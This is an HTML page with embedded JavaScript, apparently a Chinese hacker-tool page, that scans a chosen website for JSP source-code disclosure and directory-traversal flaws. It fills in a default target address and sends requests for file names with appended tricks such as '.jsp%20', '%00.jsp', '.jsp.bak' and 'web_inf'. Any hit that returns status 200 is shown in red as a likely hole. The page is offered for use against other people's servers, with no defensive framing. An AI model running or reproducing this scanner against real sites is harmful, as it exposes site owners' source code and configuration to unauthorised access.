<base target=_blank><style>
BODY {FONT-FAMILY: "宋體", "宋體"; FONT-SIZE: 9pt; LINE-HEIGHT: 12pt}
BR {FONT-FAMILY: "宋體", "宋體"; FONT-SIZE: 9pt; LINE-HEIGHT: 12pt}
TD {FONT-FAMILY: "宋體"; FONT-SIZE: 9pt; LINE-HEIGHT: 12pt}
a {COLOR: #llccxx; text-decoration: none}
a:hover {color:#llccxx;text-decoration:none}
</style>
<center>
<pre>海陽(yáng)頂端網(wǎng)jsp暴源碼及目錄網(wǎng)頁(yè)使用幫助:
第一個(gè)寫(xiě)域名；第二個(gè)寫(xiě)路徑；第三個(gè)寫(xiě)文件名，注意不要加擴展名:
</pre>
<input id=http style="BORDER-RIGHT: #99ccdd 1px solid; BORDER-TOP: #99ccdd 1px solid; BORDER-LEFT: #99ccdd 1px solid; BORDER-BOTTOM: #99ccdd 1px solid" size=28 value=http://www.ctm.net> <input id=path style="BORDER-RIGHT: #99ccdd 1px solid; BORDER-TOP: #99ccdd 1px solid; BORDER-LEFT: #99ccdd 1px solid; BORDER-BOTTOM: #99ccdd 1px solid" size=36 value=/cgi-bin/ctm/jsp/cn/NHS/demo/> <input id=cindex style="BORDER-RIGHT: #99ccdd 1px solid; BORDER-TOP: #99ccdd 1px solid; BORDER-LEFT: #99ccdd 1px solid; BORDER-BOTTOM: #99ccdd 1px solid" size=6 value=main> <input style="BORDER-RIGHT: #99ccdd 1px solid; BORDER-TOP: #99ccdd 1px solid; BORDER-LEFT: #99ccdd 1px solid; BORDER-BOTTOM: #99ccdd 1px solid" onclick=isExist(http.value) type=button value=檢測JSP源碼及目錄遍歷>
<div id=t></div>
<SCRIPT>
function isExist(url)
{
var myObject = new Object();
myObject.lcx1 = ".jsp.";
myObject.lcx2 = ".jsp+";
myObject.lcx3 = ".jsp%20";
myObject.lcx4 = ".jsp%2e";
myObject.lcx5 = ".jsp%70";
myObject.lcx6 = ".jsp%81";
myObject.lcx7 = ".jsp%2581";
myObject.lcx8 = ".JSP";
myObject.lcx9 = ".Jsp";
myObject.lcx10 = ".jsp.bak";
t.innerHTML+= "<br>目錄遍歷的方法，暫且收了這么多：<br><br>"
t.innerHTML+= "<a href=" +http.value+path.value+" href_cetemp=" +http.value+path.value+">"+http.value+path.value+"<br>";
t.innerHTML+= "<a href=" +http.value+path.value+" href_cetemp=" +http.value+path.value+"%00.jsp>"+http.value+path.value+"%00.jsp<br>";
t.innerHTML+= "<a href=" +http.value+path.value+" href_cetemp=" +http.value+path.value+"%3f.jsp>"+http.value+path.value+"%3f.jsp<br>";
t.innerHTML+= "<a href=" +http.value+path.value+" href_cetemp=" +http.value+path.value+"?.jsp>"+http.value+path.value+"?.jsp<br>";
t.innerHTML+= "<a href=" +http.value+path.value+" href_cetemp=" +http.value+path.value+"web_inf>"+http.value+path.value+"web_inf/<br><br>";
t.innerHTML+= "估計以下有個(gè)鏈接肯定存在暴源碼或出錯漏洞，俺可不是瞎說(shuō)，沒(méi)有漏洞俺不列，下雨陰天閑著(zhù)也是閑著(zhù)，挨個(gè)點(diǎn)一下看看吧：<br><br>";
for (lcx in myObject)
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP")
xmlhttp.open("GET",http.value+path.value+cindex.value+myObject[lcx],false)
xmlhttp.send()
if(xmlhttp.status==200)
t.innerHTML += "<font color=red><a href="+http.value+path.value+cindex.value+myObject[lcx]+" href_cetemp="+http.value+path.value+cindex.value+myObject[lcx]+">"+http.value+path.value+cindex.value+myObject[lcx]+"<br></font></a>";
else
t.innerHTML+= http.value+path.value+cindex.value+myObject[lcx]+"你白費心了，俺不存在漏洞，不用點(diǎn)<br>";
}
}
</SCRIPT></center>
